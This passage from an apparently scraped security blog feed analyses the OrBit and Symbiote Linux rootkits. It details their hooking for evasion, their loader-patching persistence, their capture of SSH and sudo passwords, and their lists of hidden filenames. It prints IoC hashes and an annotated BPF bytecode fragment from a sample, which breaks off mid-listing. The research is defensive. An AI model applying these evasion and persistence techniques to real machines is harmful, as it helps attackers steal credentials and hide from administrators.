&lt;a href="https://man7.org/linux/man-pages/man5/proc.5.html#:~:text=where%20it%20resides.-,%2Fproc%2F%5Bpid%5D%2Fmaps,-A%20file%20containing"target="_blank" rel="noopener"&gt;file paths&lt;/a&gt;
show the currently mapped memory regions and their access permissions:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;/proc/%PID%/maps
/proc/%PID%/smaps
/proc/%PID%/numa_maps&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When a process accesses one of these files it may disclose the shared library,
therefore the hooked open functions verify that the output doesn&amp;rsquo;t contain a
path to the directory used by the malware, in a similar way as described above.&lt;/p&gt;
&lt;p&gt;Another file in the proc filesystem that is being checked is &lt;code&gt;/proc/loadavg&lt;/code&gt;.
This file is used by utilities such as &lt;code&gt;uptime&lt;/code&gt;, it provides information about
the CPU usage and the status of currently running processes. The malware will
process the information from this file in a similar way as the previous files.&lt;/p&gt;
&lt;p&gt;The malware hooks &lt;code&gt;execve&lt;/code&gt; to evade detection of certain utilities, control the
behavior of processes and to maintain its persistence by infecting new
processes. The hooking logic checks the process name and path and compares it
to different usulites in &lt;code&gt;/bin&lt;/code&gt;, &lt;code&gt;/usr&lt;/code&gt; and &lt;code&gt;/sbin&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The hooked &lt;code&gt;execve&lt;/code&gt; function is used by the malware to hide the network
activity, the malware checks if the new process is &lt;code&gt;ip&lt;/code&gt; or &lt;code&gt;iptables&lt;/code&gt; utility
(it checks both the &lt;code&gt;/usr/sbin&lt;/code&gt; and &lt;code&gt;/sbin&lt;/code&gt;) it will first execute the command
and pipe the output to a local buffer where it will inspect the records and
check if there is a match between the records and the information stored in
&lt;code&gt;MALWARE_FOLDER/.net&lt;/code&gt; or &lt;code&gt;MALWARE_FOLDER/.fw&lt;/code&gt; – the record will be omitted from
the command&amp;rsquo;s output.&lt;/p&gt;
&lt;p&gt;When &lt;code&gt;execve&lt;/code&gt; is called with &lt;code&gt;dmesg&lt;/code&gt; the malware omits records that are equal
to the records in &lt;code&gt;MALWARE_FOLDER/.sys/.dmesg&lt;/code&gt;, and records that contain one of
the following keywords: zapping, &lt;code&gt;tcpdump&lt;/code&gt;, promiscuous, &lt;code&gt;libntpVnQE6mk&lt;/code&gt;,
&lt;code&gt;libdl.so&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;execve&lt;/code&gt; checks if the function was called with the environment variable
&lt;a href="https://man7.org/linux/man-pages/man8/ld.so.8.html"target="_blank" rel="noopener"&gt;&lt;code&gt;LD_TRACE_LOADED_OBJECTS&lt;/code&gt;&lt;/a&gt;,
when this variable is set causes the program to list its dynamic dependencies.
The malware saves the original (unpatched) dynamic linker in a backup file, so
when &lt;code&gt;execve&lt;/code&gt; is called with this variable the output that will be presented is
as if the legitimate dynamic linker was called and it will not list the
malicious library. Essentially the following command is being executed:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;MALWARE_FOLDER/.backup_ld --list %s&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;code&gt;strace&lt;/code&gt; is another utility that is being examined by the hooked &lt;code&gt;execve&lt;/code&gt;.
Because the output of &lt;code&gt;strace&lt;/code&gt; can reveal the malicious library as one of the
libraries that is being loaded by a traced process. &lt;code&gt;strace&lt;/code&gt; can be executed
with the &lt;code&gt;-o&lt;/code&gt; flag that specifies a file path to which the output will be
piped, if it&amp;rsquo;s not set in the command the malware will write the output of
&lt;code&gt;strace&lt;/code&gt; to &lt;code&gt;/tmp/.orbit&lt;/code&gt;. Similar to other utilities, the malware executes the
command and gets the result from the output file. Next it omits records that
contain the symlink one of the following: the malicious library
(&lt;code&gt;MALWARE_FOLDER/.l&lt;/code&gt;), the GID which is used by the malware (&lt;code&gt;920366&lt;/code&gt;) and its
folder path.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/images/fig5.png" title="OrBit malware folder path" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;OrBit malware folder path&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;Achieving Persistence&lt;span class="hx:absolute hx:-mt-20" id="achieving-persistence"&gt;&lt;/span&gt;
&lt;a href="#achieving-persistence" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The malware uses two methods to achieve persistence. The reason the malware
uses both of the methods is to make it hard removing the malware from an
infected machine while it&amp;rsquo;s running. The first method adds the path to the
malware into the &lt;code&gt;/etc/ld.so.preload&lt;/code&gt; configuration file. This instructs the
loader that the malware should be loaded first and for all new processes. In
the case this method is prevented by, for example removing the configuration
file on the infected machine, the malware has its second method which is
achieved by patching the loader binary.&lt;/p&gt;
&lt;p&gt;The malware first makes a copy of the loader&amp;rsquo;s binary so it can patch it. It
performs a simple search in the binary for the string &lt;code&gt;/etc/ld.so.preload&lt;/code&gt;.
Once it&amp;rsquo;s found, it replaces the string to a path to a file within the
&lt;code&gt;%MALWARE_FOLDER%&lt;/code&gt;. The content of this file has the path to the malware
library to act as a &lt;code&gt;ld.so.preload&lt;/code&gt; configuration file. This means when the
patch loader is executed, it uses the file in the &lt;code&gt;%MALWARE_FOLDER%&lt;/code&gt; instead
under &lt;code&gt;/etc&lt;/code&gt;. The malware author has set up these two methods to act as catches
in the case one of them goes away. For example, if an administrator wants to
stop the malware from being loaded by removing the configuration file under
&lt;code&gt;/etc&lt;/code&gt; so the hidden files can be revealed, the patched loader who doesn&amp;rsquo;t use
this file, will just load the malware who will recreate the configuration file.
If the administrator instead overwrites the patched loader with a clean
version, the clean loader loads the malware from the &lt;code&gt;ld.so.preload&lt;/code&gt;
configuration file which repatches the loader.&lt;/p&gt;
&lt;h4&gt;Information Stealing&lt;span class="hx:absolute hx:-mt-20" id="information-stealing"&gt;&lt;/span&gt;
&lt;a href="#information-stealing" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The backdoor hooks the &lt;code&gt;read&lt;/code&gt; and &lt;code&gt;write&lt;/code&gt; functions to log data that is being
written by the executed processes on the machine. The backdoor checks the flag:
&lt;code&gt;sniff_ssh_session&lt;/code&gt; that defines whether any call to &lt;code&gt;write&lt;/code&gt; will be logged or
only processes executed with &lt;code&gt;sudo&lt;/code&gt; or &lt;code&gt;ssh&lt;/code&gt; sessions. Appears that the
functionality of the flag doesn&amp;rsquo;t reflect the actual flow of the &lt;code&gt;write&lt;/code&gt;
function – when the flag is set to false the hooked function checks if the
process was executed with &lt;code&gt;sudo&lt;/code&gt; or if the calling process is &lt;code&gt;ssh&lt;/code&gt; and logs
the buffer that was passed to the original &lt;code&gt;write&lt;/code&gt; function, the data is stored
at: &lt;code&gt;MALWARE_FOLDER/sshpass2.txt&lt;/code&gt;. Otherwise when the flag is set to true, the
buffer is logged to &lt;code&gt;MALWARE_FOLDER/sniff.txt&lt;/code&gt; without verification of the
calling process name. Once the hooked function is done it will return the
return value of the original function call.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/images/fig6.png" title="Checking the flag sniff_ssh_session." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Checking the flag sniff_ssh_session.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;For &lt;code&gt;bash&lt;/code&gt; and &lt;code&gt;sh&lt;/code&gt; processes that call &lt;code&gt;execve&lt;/code&gt; the hook will log the &lt;code&gt;path&lt;/code&gt;
argument that holds the path to the file that will be executed as a new
process, the hooked function will append a timestamp and the full path and
write the information into &lt;code&gt;MALWARE_FOLDER/execlog&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;Network Capabilities&lt;span class="hx:absolute hx:-mt-20" id="network-capabilities"&gt;&lt;/span&gt;
&lt;a href="#network-capabilities" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The backdoor hooks function from the libpcap library to hide network activity.
If hooks &lt;code&gt;bind&lt;/code&gt; and &lt;code&gt;connect&lt;/code&gt; functions to log the ports that are being used by
processes with the malwar&amp;rsquo;s gid, the ports are being written to
&lt;code&gt;MALWARE_FOLDER/.ports&lt;/code&gt;. The content of this file is used by the backdoor to
manage the ports that are being used in sessions that were opened by the
activity of the backdoor. When a new SSH session is created the port and IP
address is being written to the file.&lt;/p&gt;
&lt;p&gt;The malware hooks the &lt;code&gt;pcap_loop&lt;/code&gt; function and &lt;code&gt;pcap_packet_callback&lt;/code&gt; to filter
out the traffic of the backdoor. To accomplish this task the hooked
&lt;code&gt;pcap_packet_callback&lt;/code&gt; omits ports that are in &lt;code&gt;MALWARE_FOLDER/.ports&lt;/code&gt; as it
contains all of the ports used by the backdoor.&lt;/p&gt;
&lt;h2&gt;Comparing to other Linux threats&lt;span class="hx:absolute hx:-mt-20" id="comparing-to-other-linux-threats"&gt;&lt;/span&gt;
&lt;a href="#comparing-to-other-linux-threats" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;While it&amp;rsquo;s common for malware to hook functions, the usual technique is by
loading a shared library using &lt;code&gt;LD_PRELOAD&lt;/code&gt; – that was the case for Symbiote,
&lt;a href="../../../2019/05/hiddenwasp-malware-targeting-linux-systems"&gt;HiddenWasp&lt;/a&gt; and
other threats.&lt;/p&gt;
&lt;p&gt;This malware uses XOR encrypted strings and steals passwords – similar to other
Linux backdoors reported by
&lt;a href="https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/"target="_blank" rel="noopener"&gt;ESET&lt;/a&gt;.
But unlike other threats, this malware steals information from different
commands and utilities and stores them in specific files on the machine.
Besides, there is an extensive usage of files for storing data, something that
was not seen before.&lt;/p&gt;
&lt;p&gt;What makes this malware especially interesting is the almost hermetic hooking
of libraries on the victim machine, that allows the malware to gain persistence
and evade detection while stealing information and setting SSH backdoor.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Threats that target Linux continue to evolve while successfully staying under
the radar of security tools, now OrBit is one more example of how evasive and
persistent new malware can be.&lt;/p&gt;
&lt;p&gt;I want to thank Joakim Kennedy for his contribution to this research.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hash&lt;/th&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://analyze.intezer.com/files/f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8?utm_campaign=research-blog&amp;amp;utm_content=orbit-new-undetected-linux-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Dropper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://analyze.intezer.com/files/40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020?utm_campaign=research-blog&amp;amp;utm_content=orbit-new-undetected-linux-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Payload&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat</title><link>https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/</link><pubDate>Thu, 09 Jun 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/</guid><description>
&lt;p&gt;&lt;em&gt;This research is a joint effort between Joakim Kennedy, Security Researcher at
Intezer, and the BlackBerry Threat Research &amp;amp; Intelligence team. It can be
found in the BlackBerry blog &lt;a href="https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat"target="_blank" rel="noopener"&gt;here&lt;/a&gt; as well.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In biology, a symbiote is an organism that lives in symbiosis with another
organism. The symbiosis can be mutually beneficial to both organisms, but
sometimes it can be parasitic when one benefits and the other is harmed. A few
months back, we discovered a new, undetected Linux® malware that acts in this
parasitic nature. We have aptly named this malware Symbiote.&lt;/p&gt;
&lt;p&gt;What makes Symbiote different from other Linux malware that we usually come
across, is that it needs to infect other running processes to inflict damage on
infected machines. Instead of being a standalone executable file that is run to
infect a machine, it is a shared object (SO) library that is loaded into all
running processes using
&lt;a href="https://attack.mitre.org/techniques/T1574/006/"target="_blank" rel="noopener"&gt;LD_PRELOAD (T1574.006)&lt;/a&gt;, and
parasitically infects the machine. Once it has infected all the running
processes, it provides the threat actor with rootkit functionality, the ability
to harvest credentials, and remote access capability.&lt;/p&gt;
&lt;h2&gt;The Birth of a Symbiote&lt;span class="hx:absolute hx:-mt-20" id="the-birth-of-a-symbiote"&gt;&lt;/span&gt;
&lt;a href="#the-birth-of-a-symbiote" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Our earliest detection of Symbiote is from November 2021, and it appears to
have been written to target the financial sector in Latin America. Once the
malware has infected a machine, it hides itself and any other malware used by
the threat actor, making infections very hard to detect. Performing live
forensics on an infected machine may not turn anything up since all the file,
processes, and network artifacts are hidden by the malware. In addition to the
rootkit capability, the malware provides a backdoor for the threat actor to log
in as any user on the machine with a hardcoded password and to execute commands
with the highest privileges.&lt;/p&gt;
&lt;p&gt;Since it is extremely evasive, a Symbiote infection is likely to &amp;ldquo;fly under the
radar.&amp;rdquo; In our research, we haven&amp;rsquo;t found enough evidence to determine whether
Symbiote is being used in highly targeted or broad attacks.&lt;/p&gt;
&lt;p&gt;One interesting technical aspect of Symbiote is its Berkeley Packet Filter
(BPF) hooking functionality. Symbiote is not the first Linux malware to use
BPF. For example,
&lt;a href="https://reverse.put.as/2021/12/17/knock-knock-whos-there/"target="_blank" rel="noopener"&gt;advanced backdoors attributed&lt;/a&gt;
to the
&lt;a href="https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group.en.pdf"target="_blank" rel="noopener"&gt;Equation Group&lt;/a&gt;
have been using BPF for covert communication. However, Symbiote utilizes BPF to
hide malicious network traffic on an infected machine. When an administrator
starts any packet capture tool on the infected machine, BPF bytecode is
injected into the kernel that defines which packets should be captured. In this
process, Symbiote adds its bytecode first so it can filter out network traffic
that it doesn&amp;rsquo;t want the packet-capturing software to see.&lt;/p&gt;
&lt;h2&gt;Evasion Techniques&lt;span class="hx:absolute hx:-mt-20" id="evasion-techniques"&gt;&lt;/span&gt;
&lt;a href="#evasion-techniques" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Symbiote is very stealthy. The malware is designed to be loaded by the linker
via the &lt;code&gt;LD_PRELOAD&lt;/code&gt; directive. This allows it to be loaded before any other
shared objects. Since it is loaded first, it can &amp;ldquo;hijack the imports&amp;rdquo; from the
other library files loaded for the application. Symbiote uses this to hide its
presence on the machine by hooking &lt;code&gt;libc&lt;/code&gt; and &lt;code&gt;libpcap&lt;/code&gt; functions. The image
below shows a summary of the malware&amp;rsquo;s evasions.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/images/fig1.png" title="Figure 1: Symbiote evasion techniques." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: Symbiote evasion techniques.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Host Activity&lt;span class="hx:absolute hx:-mt-20" id="host-activity"&gt;&lt;/span&gt;
&lt;a href="#host-activity" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Symbiote malware, in addition to hiding its own presence on the machine,
also hides other files related to malware likely deployed with it. Within the
binary, there is a file list that is RC4 encrypted. When hooked functions are
called, the malware first dynamically loads libc and calls the original
function. This logic is used in all hooked functions. An example is shown in
Figure 2 below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/06/new-linux-threat-symbiote/images/fig2.png" title="Figure 2: Logic for resolving readdir from libc." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: Logic for resolving readdir from libc.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;If the calling application is trying to access a file or folder under &lt;code&gt;/proc&lt;/code&gt;,
the malware scrubs the output from process names that are on its list. The
process names in the list below were extracted from the samples we have
discovered.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;certbotx64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certbotx86&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javautils&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javaserverx64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javaclientex64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javanodex86&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If the calling application is not trying to access something under &lt;code&gt;/proc&lt;/code&gt;, the
malware instead scrubs the result from a file list. The files extracted from
all the samples we examined are shown in the list below. Some of the file names
match those used by Symbiote, while others match names of files suspected to be
tools used by the threat actor on the infected machine. The list includes the
following files.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;apache2start&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;apache2stop&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;profiles.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;404erro.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javaserverx64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javaclientex64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javanodex86&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;liblinux.so&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;java.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;open.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mpt86.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sqlsearch.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;indexq.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mt64.so&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certbot.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cert.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certbotx64&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certbotx86&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;javautils&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;search.so&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One consequence of Symbiote being loaded into processes via &lt;code&gt;LD_PRELOAD&lt;/code&gt; is
that tools like ldd, a utility that prints the shared libraries required by
each program, will list the malware as a loaded object. To counter this, the
malware hooks execve and looks for calls to this function with the environment
variable &lt;code&gt;LD_TRACE_LOADED_OBJECTS&lt;/code&gt; set to 1. To understand why, it&amp;rsquo;s worth
looking at the manual page for &lt;code&gt;ldd&lt;/code&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In the usual case, ldd invokes the standard dynamic linker (see ld.so(8))
with the LD_TRACE_LOADED_OBJECTS environment variable set to 1. This causes
the dynamic linker to inspect the program&amp;rsquo;s dynamic dependencies, and find
(according to the rules described in ld.so(8)) and load the objects that
satisfy those dependencies. For each dependency, ldd displays the location of
the matching object and the (hexadecimal) address at which it is loaded. (The
linux-vdso and ld-linux shared dependencies are special; see vdso(7) and
ld.so(8).)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When the malware detects this, it executes the loader as ldd does, but it
scrubs its own entry from the result.&lt;/p&gt;
&lt;h2&gt;Network Activity&lt;span class="hx:absolute hx:-mt-20" id="network-activity"&gt;&lt;/span&gt;
&lt;a href="#network-activity" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Symbiote also has functionality to hide network activity on the infected
machine. It uses three different methods to accomplish this. The first method
involves hooking &lt;code&gt;fopen&lt;/code&gt; and &lt;code&gt;fopen64&lt;/code&gt;. If the calling application tries to
open &lt;code&gt;/proc/net/tcp&lt;/code&gt;, the malware creates a temp file and copies the first line
to that file. After that, it scans each line for the presence of specific
ports. If the malware finds a port it&amp;rsquo;s searching for on a line it&amp;rsquo;s scanning,
it skips to the next line. Otherwise, the line is written to the temp file.
Once the original file has been completely processed, the malware closes the
file and returns the file descriptor of the temp file back to the caller.
Essentially, this gives the calling process a scrubbed result, which excludes
all entries of the network connections that the malware wants to hide.&lt;/p&gt;
&lt;p&gt;The second method Symbiote uses to hide its network activity is by hijacking
any injected packet filtering bytecode. The Linux kernel
&lt;a href="https://www.kernel.org/doc/html/latest/networking/filter.html"target="_blank" rel="noopener"&gt;uses extended Berkeley Packet Filter&lt;/a&gt;
(eBPF) to allow packet filtering based on rules provided from a userland
process. The filtering rule is provided as eBPF bytecode that the kernel
executes on a virtual machine (VM). This minimizes the context switching
between kernel and userland, providing a performance boost since the kernel
performs the filtering directly.&lt;/p&gt;
&lt;p&gt;If an application on the infected machine tries to perform packet filtering
with eBPF, Symbiote hijacks the filtering process. First, it hooks the &lt;code&gt;libc&lt;/code&gt;
function &lt;code&gt;setsockopt&lt;/code&gt;. If the function is called with the option
&lt;code&gt;SO_ATTACH_FILTER&lt;/code&gt;, which is used to perform packet filtering on a socket, it
prepends its own bytecode before the eBPF code provided by the calling
application.&lt;/p&gt;
&lt;p&gt;Code Snippet 1 shows an annotated version of the bytecode injected by one of
the Symbiote samples. The bytecode &amp;ldquo;drops&amp;rdquo; if they match the following
conditions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IPv6 (TCP or SCTP) and src port (43253 or 43753 or 63424 or 26424)&lt;/li&gt;
&lt;li&gt;IPv6 (TCP or SCTP) and dst port 43253&lt;/li&gt;
&lt;li&gt;IPv4 (TCP or SCTP) and src port (43253 or 43753 or 63424 or 26424)&lt;/li&gt;
&lt;li&gt;IPv4 (TCP or SCTP) and dst port (43253 or 43753 or 63424 or 26424)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While this bytecode only drops packets based on ports, we have also observed
filtering of traffic based on IPv4 addresses. In all cases, the filtering
operates on both inbound and outbound traffic from the machine, to hide both
directions of the traffic. If the conditions are not met, it just jumps to the
start of the bytecode provided by the calling application.&lt;/p&gt;
&lt;p&gt;The bytecode extracted from one of the samples, as shown in Code Snippet 1,
consists of 32 instructions. This code can&amp;rsquo;t be injected into the kernel on its
own, because it assumes that more bytecode exists after it. There are a few
jumps in this bytecode that skip to the beginning of the bytecode provided by
the calling process. Without the caller&amp;rsquo;s bytecode, the injected bytecode would
jump out-of-bounds, which is not allowed by the kernel. Bytecode like this
either has to be handwritten or by patching compiler generated-bytecode. Either
option suggests that this malware was written by a skilled developer.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;; Load Ether frame type from the packet.
0x00: 0x28 0x00 0x00 0x000c ldabsh 0xc
; Jump if it&amp;#39;s not IPv6 (0x86DD)
0x01: 0x15 0x00 0x0b 0x86dd jeq r0, 0x86dd, &amp;#43;0, &amp;#43;0x0b (jump to 0xd)
; Load IPv6 next header into register.
0x02: 0x30 0x00 0x00 0x0014 ldabsb 0x14
; Short jump if SCTP
0x03: 0x15 0x02 0x00 0x0084 jeq r0, 0x84, &amp;#43;0x2 (jump to 0x6) ; SCTP
; Short jump if TCP
0x04: 0x15 0x01 0x00 0x0006 jeq r0, 0x6, &amp;#43;0x1 (jump to 0x6) ; TCP
; Jump to original byte code if UDP
0x05: 0x15 0x00 0x1a 0x0011 jeq r0, 0x11, &amp;#43;0x1a (jump to 0x20) ; UDP
; Load TCP src port into register.
0x06: 0x28 0x00 0x00 0x0036 ldabsh 0x36
; Jump to drop the packet if port 43253.
0x07: 0x15 0x17 0x00 0xa8f5 jeq r0, 0xa8f5, &amp;#43;0x17 (jump to 0x1f) ; 43253
; Jump to drop the packet if port 43753.
0x08: 0x15 0x16 0x00 0xaae9 jeq r0, 0xaae9, &amp;#43;0x16 (jump to 0x1f) ; 43753
; Jump to drop the packet if port 63424.
0x09: 0x15 0x15 0x00 0xf7c0 jeq r0, 0xf7c0, &amp;#43;0x15 (jump to 0x1f) ; 63424
; Jump to drop the packet if port 26424.
0x0a: 0x15 0x14 0x00 0x6738 jeq r0, 0x6738, &amp;#43;0x14 (jump to 0x1f) ; 26424
; Load TCP dst port into register.
0x0b: 0x28 0x00 0x00 0x0038 ldabsh 0x38
; Jump to drop packet if port 43253 else jump to 0x1c.
0x0c: 0x15 0x12 0x0f 0xa8f5 jeq r0, 0xa8f5, &amp;#43;0xf12 (jump to 0x1f) (jump to 0x1c) ; 43253
; Ether frame type check for IPv4 (0x0800)
0x0d: 0x15 0x00 0x12 0x0800 jeq r0, 0x800, &amp;#43;0x1200 (jump to 0x20)
; Load IPv4 next header field into register.
0x0e: 0x30 0x00 0x00 0x0017 ldabsb 0x17
; Short jump if SCTP.
0x0f: 0x15 0x02 0x00 0x0084 jeq r0, 0x84, &amp;#43;0x2 (jump to 0x12) ; SCTP
; Short jump if TCP.
0x10: 0x15 0x01 0x00 0x0006 jeq r0, 0x6, &amp;#43;0x1 (jump to 0x12) ; TCP
; Jump to original byte code if UDP.
0x11: 0x15 0x00 0x0e 0x0011 jeq r0, 0x11, &amp;#43;0xe00 (jump to 0x20) ; UDP
; Load IPv4 flag into register.
0x12: 0x28 0x00 0x00 0x0014 ldabsh 0x14
; Jump to original byte code if flags are set.
0x13: 0x45 0x0c 0x00 0x1fff jset r0, 0x1fff, &amp;#43;0xc (jump to 0x20)
; Load Internet Header Length into x.
